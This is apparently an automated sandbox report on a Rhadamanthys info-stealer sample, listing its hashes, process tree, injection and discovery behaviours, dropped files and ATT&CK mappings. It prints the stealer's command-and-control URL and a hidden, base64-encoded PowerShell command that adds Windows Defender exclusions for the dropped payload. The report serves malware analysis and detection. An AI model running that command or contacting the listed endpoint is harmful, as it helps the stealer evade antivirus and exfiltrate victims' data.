rhadamanthys | 33682e861b76b0ae22b7361f5b59bb7e69b95e69480156714f01e7044408b546

Analysis

max time kernel
150s
max time network
102s
platform
windows11-21h2_x64
resource
win11-20240704-en
submitted
08-07-2024 09:19

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General

Target

33682e861b76b0ae22b7361f5b59bb7e69b95e69480156714f01e7044408b546.exe
Size

4.3MB
MD5

651962c322d049e7271543d8d2673311
SHA1

e4a3c9a15006aae882697cff0ec90795f658ee94
SHA256

33682e861b76b0ae22b7361f5b59bb7e69b95e69480156714f01e7044408b546
SHA512

121b96a1ce8e12924e41c2243cea25dbc13240c6cfadcfe01aecbea1c6676261cbcf89677fb1a8e429e22d47b1030b9e24e03b96a5f7e956316f02bd8d2c74b1
SSDEEP

98304:fh0DJ8JeTBYX6L9jeMr31y0pv/u4EmRIO3HLWjds/ht/tpxeSZ:bJeTKX6L9fHBW4bW+zdeS

Score

10^/10

rhadamanthys discovery execution stealer

Malware Config

Extracted

Family

rhadamanthys

https://marckapq.ug/0f73f7f531224235bb0/5l7qnm6w.iic68

Signatures

Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys
Rhadamanthys family
rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2976 created 2568	2976	33682e861b76b0ae22b7361f5b59bb7e69b95e69480156714f01e7044408b546.exe	41

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
6104	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
5504	blue.exe
2184	blue.exe
5664	Version.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 5228 set thread context of 2976	5228	33682e861b76b0ae22b7361f5b59bb7e69b95e69480156714f01e7044408b546.exe	82
PID 5504 set thread context of 2184	5504	blue.exe	84

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	33682e861b76b0ae22b7361f5b59bb7e69b95e69480156714f01e7044408b546.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	blue.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	33682e861b76b0ae22b7361f5b59bb7e69b95e69480156714f01e7044408b546.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	openwith.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	blue.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Version.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
2976	33682e861b76b0ae22b7361f5b59bb7e69b95e69480156714f01e7044408b546.exe
2976	33682e861b76b0ae22b7361f5b59bb7e69b95e69480156714f01e7044408b546.exe
4752	openwith.exe
4752	openwith.exe
4752	openwith.exe
4752	openwith.exe
6104	powershell.exe
6104	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	5228	33682e861b76b0ae22b7361f5b59bb7e69b95e69480156714f01e7044408b546.exe
Token: SeDebugPrivilege	5504	blue.exe
Token: SeDebugPrivilege	5228	33682e861b76b0ae22b7361f5b59bb7e69b95e69480156714f01e7044408b546.exe
Token: SeDebugPrivilege	5504	blue.exe
Token: SeDebugPrivilege	2184	blue.exe
Token: SeDebugPrivilege	6104	powershell.exe
Token: SeDebugPrivilege	5664	Version.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 5228 wrote to memory of 5504	5228	33682e861b76b0ae22b7361f5b59bb7e69b95e69480156714f01e7044408b546.exe	81
PID 5228 wrote to memory of 5504	5228	33682e861b76b0ae22b7361f5b59bb7e69b95e69480156714f01e7044408b546.exe	81
PID 5228 wrote to memory of 5504	5228	33682e861b76b0ae22b7361f5b59bb7e69b95e69480156714f01e7044408b546.exe	81
PID 5228 wrote to memory of 2976	5228	33682e861b76b0ae22b7361f5b59bb7e69b95e69480156714f01e7044408b546.exe	82
PID 5228 wrote to memory of 2976	5228	33682e861b76b0ae22b7361f5b59bb7e69b95e69480156714f01e7044408b546.exe	82
PID 5228 wrote to memory of 2976	5228	33682e861b76b0ae22b7361f5b59bb7e69b95e69480156714f01e7044408b546.exe	82
PID 5228 wrote to memory of 2976	5228	33682e861b76b0ae22b7361f5b59bb7e69b95e69480156714f01e7044408b546.exe	82
PID 5228 wrote to memory of 2976	5228	33682e861b76b0ae22b7361f5b59bb7e69b95e69480156714f01e7044408b546.exe	82
PID 5228 wrote to memory of 2976	5228	33682e861b76b0ae22b7361f5b59bb7e69b95e69480156714f01e7044408b546.exe	82
PID 5228 wrote to memory of 2976	5228	33682e861b76b0ae22b7361f5b59bb7e69b95e69480156714f01e7044408b546.exe	82
PID 5228 wrote to memory of 2976	5228	33682e861b76b0ae22b7361f5b59bb7e69b95e69480156714f01e7044408b546.exe	82
PID 2976 wrote to memory of 4752	2976	33682e861b76b0ae22b7361f5b59bb7e69b95e69480156714f01e7044408b546.exe	83
PID 2976 wrote to memory of 4752	2976	33682e861b76b0ae22b7361f5b59bb7e69b95e69480156714f01e7044408b546.exe	83
PID 2976 wrote to memory of 4752	2976	33682e861b76b0ae22b7361f5b59bb7e69b95e69480156714f01e7044408b546.exe	83
PID 2976 wrote to memory of 4752	2976	33682e861b76b0ae22b7361f5b59bb7e69b95e69480156714f01e7044408b546.exe	83
PID 2976 wrote to memory of 4752	2976	33682e861b76b0ae22b7361f5b59bb7e69b95e69480156714f01e7044408b546.exe	83
PID 5504 wrote to memory of 2184	5504	blue.exe	84
PID 5504 wrote to memory of 2184	5504	blue.exe	84
PID 5504 wrote to memory of 2184	5504	blue.exe	84
PID 5504 wrote to memory of 2184	5504	blue.exe	84
PID 5504 wrote to memory of 2184	5504	blue.exe	84
PID 5504 wrote to memory of 2184	5504	blue.exe	84
PID 5504 wrote to memory of 2184	5504	blue.exe	84
PID 5504 wrote to memory of 2184	5504	blue.exe	84

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:2568
- C:\Windows\SysWOW64\openwith.exe
  "C:\Windows\system32\openwith.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:4752

C:\Users\Admin\AppData\Local\Temp\33682e861b76b0ae22b7361f5b59bb7e69b95e69480156714f01e7044408b546.exe
"C:\Users\Admin\AppData\Local\Temp\33682e861b76b0ae22b7361f5b59bb7e69b95e69480156714f01e7044408b546.exe"
1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5228
- C:\Users\Admin\AppData\Local\Temp\blue.exe
  "C:\Users\Admin\AppData\Local\Temp\blue.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5504
- - C:\Users\Admin\AppData\Local\Temp\blue.exe
    "C:\Users\Admin\AppData\Local\Temp\blue.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2184
- C:\Users\Admin\AppData\Local\Temp\33682e861b76b0ae22b7361f5b59bb7e69b95e69480156714f01e7044408b546.exe
  "C:\Users\Admin\AppData\Local\Temp\33682e861b76b0ae22b7361f5b59bb7e69b95e69480156714f01e7044408b546.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2976

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAVgBlAHIAcwBpAG8AbgAuAGUAeABlADsA
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:6104

C:\Users\Admin\AppData\Local\AuditRuleType\dhkobv\Version.exe
C:\Users\Admin\AppData\Local\AuditRuleType\dhkobv\Version.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:5664

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\33682e861b76b0ae22b7361f5b59bb7e69b95e69480156714f01e7044408b546.exe.log

Filesize
958B

MD5
f3a9ef806611771e47086f2146b04048

SHA1
19d790d0255e4227f87aee9c51d50eb05f8bce8f

SHA256
eccf4d562c23908f755fe9bb0f9ddd0af31c85392d0d9524064215559424b5fd

SHA512
9c3c558d68c84b61cd1d90668f8ba8cf3080e3e5a5a72da9f63ad70cf62342f2631f1321e8430480649ed2d25c15553026e30b6d1fb1f0530e04b53358815613

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_asluaepc.utt.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\blue.exe

Filesize
2.1MB

MD5
30cd8c00307286863dba2ec13fb2a611

SHA1
65815b908d5fd2905f70240d6dfe6e17f3c78aa1

SHA256
c68192f008c1b7638e18ec1a6e5787953ea6775bb33acf9a12f64440f3b788e7

SHA512
76a903bdb21ae382cd737432b2f5b3152589a3d3863c9120e9ad850d8cb46e07b90ed42f21d74840d4dc1383f2aee7bfc24f3f10eba94858e84af762bd404335

Download Submit
memory/2184-13649-0x0000000005AC0000-0x0000000005B26000-memory.dmp

Filesize
408KB

Download
memory/2184-13648-0x0000000005950000-0x00000000059A6000-memory.dmp

Filesize
344KB

Download
memory/2184-9780-0x00000000057E0000-0x00000000058B4000-memory.dmp

Filesize
848KB

Download
memory/2184-9779-0x0000000000400000-0x0000000000496000-memory.dmp

Filesize
600KB

Download
memory/2976-5862-0x0000000074AD0000-0x0000000075281000-memory.dmp

Filesize
7.7MB

Download
memory/2976-5692-0x0000000074AD0000-0x0000000075281000-memory.dmp

Filesize
7.7MB

Download
memory/2976-5443-0x0000000074AD0000-0x0000000075281000-memory.dmp

Filesize
7.7MB

Download
memory/2976-5413-0x0000000005110000-0x0000000005118000-memory.dmp

Filesize
32KB

Download
memory/2976-5037-0x0000000074AD0000-0x0000000075281000-memory.dmp

Filesize
7.7MB

Download
memory/2976-5156-0x0000000074AD0000-0x0000000075281000-memory.dmp

Filesize
7.7MB

Download
memory/2976-5095-0x0000000005260000-0x00000000052F2000-memory.dmp

Filesize
584KB

Download
memory/2976-5094-0x0000000000C10000-0x0000000000CC0000-memory.dmp

Filesize
704KB

Download
memory/5228-47-0x00000000057D0000-0x0000000005CA0000-memory.dmp

Filesize
4.8MB

Download
memory/5228-39-0x00000000057D0000-0x0000000005CA0000-memory.dmp

Filesize
4.8MB

Download
memory/5228-0-0x0000000074ADE000-0x0000000074ADF000-memory.dmp

Filesize
4KB

Download
memory/5228-45-0x00000000057D0000-0x0000000005CA0000-memory.dmp

Filesize
4.8MB

Download
memory/5228-52-0x00000000057D0000-0x0000000005CA0000-memory.dmp

Filesize
4.8MB

Download
memory/5228-53-0x00000000057D0000-0x0000000005CA0000-memory.dmp

Filesize
4.8MB

Download
memory/5228-49-0x00000000057D0000-0x0000000005CA0000-memory.dmp

Filesize
4.8MB

Download
memory/5228-41-0x00000000057D0000-0x0000000005CA0000-memory.dmp

Filesize
4.8MB

Download
memory/5228-35-0x00000000057D0000-0x0000000005CA0000-memory.dmp

Filesize
4.8MB

Download
memory/5228-28-0x00000000057D0000-0x0000000005CA0000-memory.dmp

Filesize
4.8MB

Download
memory/5228-23-0x00000000057D0000-0x0000000005CA0000-memory.dmp

Filesize
4.8MB

Download
memory/5228-21-0x00000000057D0000-0x0000000005CA0000-memory.dmp

Filesize
4.8MB

Download
memory/5228-59-0x00000000057D0000-0x0000000005CA0000-memory.dmp

Filesize
4.8MB

Download
memory/5228-61-0x00000000057D0000-0x0000000005CA0000-memory.dmp

Filesize
4.8MB

Download
memory/5228-63-0x00000000057D0000-0x0000000005CA0000-memory.dmp

Filesize
4.8MB

Download
memory/5228-67-0x00000000057D0000-0x0000000005CA0000-memory.dmp

Filesize
4.8MB

Download
memory/5228-65-0x00000000057D0000-0x0000000005CA0000-memory.dmp

Filesize
4.8MB

Download
memory/5228-57-0x00000000057D0000-0x0000000005CA0000-memory.dmp

Filesize
4.8MB

Download
memory/5228-55-0x00000000057D0000-0x0000000005CA0000-memory.dmp

Filesize
4.8MB

Download
memory/5228-13-0x00000000057D0000-0x0000000005CA0000-memory.dmp

Filesize
4.8MB

Download
memory/5228-10-0x00000000057D0000-0x0000000005CA0000-memory.dmp

Filesize
4.8MB

Download
memory/5228-4-0x00000000057D0000-0x0000000005CA0000-memory.dmp

Filesize
4.8MB

Download
memory/5228-2459-0x0000000074ADE000-0x0000000074ADF000-memory.dmp

Filesize
4KB

Download
memory/5228-2693-0x0000000074AD0000-0x0000000075281000-memory.dmp

Filesize
7.7MB

Download
memory/5228-4868-0x0000000074AD0000-0x0000000075281000-memory.dmp

Filesize
7.7MB

Download
memory/5228-4869-0x0000000007030000-0x0000000007342000-memory.dmp

Filesize
3.1MB

Download
memory/5228-4870-0x00000000014D0000-0x000000000151C000-memory.dmp

Filesize
304KB

Download
memory/5228-43-0x00000000057D0000-0x0000000005CA0000-memory.dmp

Filesize
4.8MB

Download
memory/5228-1-0x0000000000790000-0x0000000000BE2000-memory.dmp

Filesize
4.3MB

Download
memory/5228-4883-0x0000000008290000-0x0000000008836000-memory.dmp

Filesize
5.6MB

Download
memory/5228-2-0x0000000074AD0000-0x0000000075281000-memory.dmp

Filesize
7.7MB

Download
memory/5228-3-0x00000000057D0000-0x0000000005CA6000-memory.dmp

Filesize
4.8MB

Download
memory/5228-5-0x00000000057D0000-0x0000000005CA0000-memory.dmp

Filesize
4.8MB

Download
memory/5228-4884-0x0000000007640000-0x0000000007694000-memory.dmp

Filesize
336KB

Download
memory/5228-5093-0x0000000074AD0000-0x0000000075281000-memory.dmp

Filesize
7.7MB

Download
memory/5228-37-0x00000000057D0000-0x0000000005CA0000-memory.dmp

Filesize
4.8MB

Download
memory/5228-29-0x00000000057D0000-0x0000000005CA0000-memory.dmp

Filesize
4.8MB

Download
memory/5228-31-0x00000000057D0000-0x0000000005CA0000-memory.dmp

Filesize
4.8MB

Download
memory/5228-33-0x00000000057D0000-0x0000000005CA0000-memory.dmp

Filesize
4.8MB

Download
memory/5228-25-0x00000000057D0000-0x0000000005CA0000-memory.dmp

Filesize
4.8MB

Download
memory/5228-17-0x00000000057D0000-0x0000000005CA0000-memory.dmp

Filesize
4.8MB

Download
memory/5228-19-0x00000000057D0000-0x0000000005CA0000-memory.dmp

Filesize
4.8MB

Download
memory/5228-15-0x00000000057D0000-0x0000000005CA0000-memory.dmp

Filesize
4.8MB

Download
memory/5228-11-0x00000000057D0000-0x0000000005CA0000-memory.dmp

Filesize
4.8MB

Download
memory/5228-7-0x00000000057D0000-0x0000000005CA0000-memory.dmp

Filesize
4.8MB

Download
memory/5504-9774-0x00000000056B0000-0x0000000005798000-memory.dmp

Filesize
928KB

Download
memory/5504-9433-0x0000000074AD0000-0x0000000075281000-memory.dmp

Filesize
7.7MB

Download
memory/5504-4886-0x0000000005170000-0x000000000541A000-memory.dmp

Filesize
2.7MB

Download
memory/5504-9781-0x0000000074AD0000-0x0000000075281000-memory.dmp

Filesize
7.7MB

Download
memory/5504-4899-0x0000000074AD0000-0x0000000075281000-memory.dmp

Filesize
7.7MB

Download
memory/5504-4885-0x0000000074AD0000-0x0000000075281000-memory.dmp

Filesize
7.7MB

Download
memory/5504-4882-0x00000000004D0000-0x00000000006F6000-memory.dmp

Filesize
2.1MB

Download
memory/6104-13650-0x0000021812CE0000-0x0000021812D02000-memory.dmp

Filesize
136KB

Download